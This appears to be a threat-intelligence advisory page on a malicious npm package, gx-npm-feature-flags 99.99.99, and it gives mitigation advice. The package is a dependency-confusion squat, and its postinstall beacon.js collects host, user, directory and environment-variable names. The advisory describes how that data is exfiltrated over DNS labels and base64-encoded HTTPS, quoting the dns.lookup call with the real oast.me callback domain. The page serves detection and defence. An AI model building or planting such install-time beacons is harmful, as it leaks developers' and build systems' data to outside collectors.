Malicious code in gx-npm-feature-flags (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7fcad1b944d9ceb92389673398df9f471911a788fe608774a3298c69900bb1c7) [email protected] is a dependency-confusion squat (max-semver `99.99.99` on a `gx-`-prefixed name to outrank a private internal package) that runs an exfiltration beacon at install time. `package.json` declares `postinstall: node beacon.js`. beacon.js collects the installer's OS hostname (`os.hostname()`), OS user (`os.userInfo()` / `process.env.USER`), current working directory (`process.cwd()`), package name, Node version, and the first 80 environment-variable names (`process.env`), then exfiltrates via two channels to a hardcoded `*.oast.me` endpoint: (1) a DNS lookup encoding pkg/host/user as subdomain labels (`dns.lookup('<pkg>.<host>.<user>.d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me')`), and (2) an HTTPS GET to the same host with a base64-encoded JSON blob in the query string (`path: '/'+pkg+'?d='+base64(JSON({pkg,host,user,cwd,env_names,node}))`). The base64 wrapping obscures the payload from proxy logs; the dual DNS+HTTPS channels are designed to bypass egress filtering. The package README self-labels as 'authorized security research / Bugcrowd dependency-confusion PoC' — that framing does not consent any third party who installs the package; their CI/build identifiers leave to a third-party collector regardless of the author's stated intent. ## Source: ghsa-malware (6a432f2363d7c4011a54074c1ad6f773a2557b367099c3c8de3ecba380cbfc1f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (b1c95e5e4a2cb9afebf67c805d5a74c5aba0ebedd5ed011f65dc6406b6a693cd) The OpenSSF Package Analysis project identified 'gx-npm-feature-flags' @ 99.99.99 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.
AI Analysis
Technical Summary
The 'gx-npm-feature-flags' package at version 99.99.99 is a malicious package that abuses dependency confusion by using a high semantic version number and a 'gx-' prefix to outrank internal packages. Upon installation, it runs a 'postinstall' script (beacon.js) that gathers sensitive environment and system metadata and exfiltrates it via two channels to a hardcoded '*.oast.me' domain: a DNS lookup encoding key data as subdomains and an HTTPS GET request with a base64-encoded JSON payload. The dual-channel exfiltration aims to bypass network filtering and logging. Although the package README claims it is for authorized security research, this does not authorize third-party users who inadvertently install it, exposing their build and CI environment details to an external collector. The OpenSSF Package Analysis project and Amazon Inspector have flagged this package as malicious due to its communication with a domain linked to malicious activity.
Potential Impact
Installation of this package results in unauthorized exfiltration of environment and system information from the host machine to an external attacker-controlled domain. This leakage includes potentially sensitive data such as hostnames, user identities, working directories, environment variable names, and Node.js version, which could facilitate further targeted attacks or reconnaissance. The exfiltration methods are designed to evade common network monitoring and egress filtering controls, increasing the risk of unnoticed data leakage.
Mitigation Recommendations
No official patch or remediation is available for this malicious package. The best mitigation is to avoid installing 'gx-npm-feature-flags' version 99.99.99 or any similarly suspicious packages, especially those with unusually high version numbers or 'gx-' prefixes that may indicate dependency confusion squats. Organizations should audit their dependencies to detect and remove this package if present. Additionally, implement strict controls on package sources and consider using allowlists or internal registries to prevent accidental installation of malicious packages. Monitor for and block DNS and HTTPS communications to suspicious domains such as '*.oast.me'.
Malicious code in gx-npm-feature-flags (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7fcad1b944d9ceb92389673398df9f471911a788fe608774a3298c69900bb1c7) [email protected] is a dependency-confusion squat (max-semver `99.99.99` on a `gx-`-prefixed name to outrank a private internal package) that runs an exfiltration beacon at install time. `package.json` declares `postinstall: node beacon.js`. beacon.js collects the installer's OS hostname (`os.hostname()`), OS user (`os.userInfo()` / `process.env.USER`), current working directory (`process.cwd()`), package name, Node version, and the first 80 environment-variable names (`process.env`), then exfiltrates via two channels to a hardcoded `*.oast.me` endpoint: (1) a DNS lookup encoding pkg/host/user as subdomain labels (`dns.lookup('<pkg>.<host>.<user>.d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me')`), and (2) an HTTPS GET to the same host with a base64-encoded JSON blob in the query string (`path: '/'+pkg+'?d='+base64(JSON({pkg,host,user,cwd,env_names,node}))`). The base64 wrapping obscures the payload from proxy logs; the dual DNS+HTTPS channels are designed to bypass egress filtering. The package README self-labels as 'authorized security research / Bugcrowd dependency-confusion PoC' — that framing does not consent any third party who installs the package; their CI/build identifiers leave to a third-party collector regardless of the author's stated intent. ## Source: ghsa-malware (6a432f2363d7c4011a54074c1ad6f773a2557b367099c3c8de3ecba380cbfc1f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (b1c95e5e4a2cb9afebf67c805d5a74c5aba0ebedd5ed011f65dc6406b6a693cd) The OpenSSF Package Analysis project identified 'gx-npm-feature-flags' @ 99.99.99 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'gx-npm-feature-flags' package at version 99.99.99 is a malicious package that abuses dependency confusion by using a high semantic version number and a 'gx-' prefix to outrank internal packages. Upon installation, it runs a 'postinstall' script (beacon.js) that gathers sensitive environment and system metadata and exfiltrates it via two channels to a hardcoded '*.oast.me' domain: a DNS lookup encoding key data as subdomains and an HTTPS GET request with a base64-encoded JSON payload. The dual-channel exfiltration aims to bypass network filtering and logging. Although the package README claims it is for authorized security research, this does not authorize third-party users who inadvertently install it, exposing their build and CI environment details to an external collector. The OpenSSF Package Analysis project and Amazon Inspector have flagged this package as malicious due to its communication with a domain linked to malicious activity.
Potential Impact
Installation of this package results in unauthorized exfiltration of environment and system information from the host machine to an external attacker-controlled domain. This leakage includes potentially sensitive data such as hostnames, user identities, working directories, environment variable names, and Node.js version, which could facilitate further targeted attacks or reconnaissance. The exfiltration methods are designed to evade common network monitoring and egress filtering controls, increasing the risk of unnoticed data leakage.
Mitigation Recommendations
No official patch or remediation is available for this malicious package. The best mitigation is to avoid installing 'gx-npm-feature-flags' version 99.99.99 or any similarly suspicious packages, especially those with unusually high version numbers or 'gx-' prefixes that may indicate dependency confusion squats. Organizations should audit their dependencies to detect and remove this package if present. Additionally, implement strict controls on package sources and consider using allowlists or internal registries to prevent accidental installation of malicious packages. Monitor for and block DNS and HTTPS communications to suspicious domains such as '*.oast.me'.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6466
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a3ef7de27e9c79719026476
Added to database: 06/26/2026, 22:06:22 UTC
Last enriched: 06/26/2026, 22:41:46 UTC
Last updated: 07/30/2026, 19:39:24 UTC
Views: 38
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.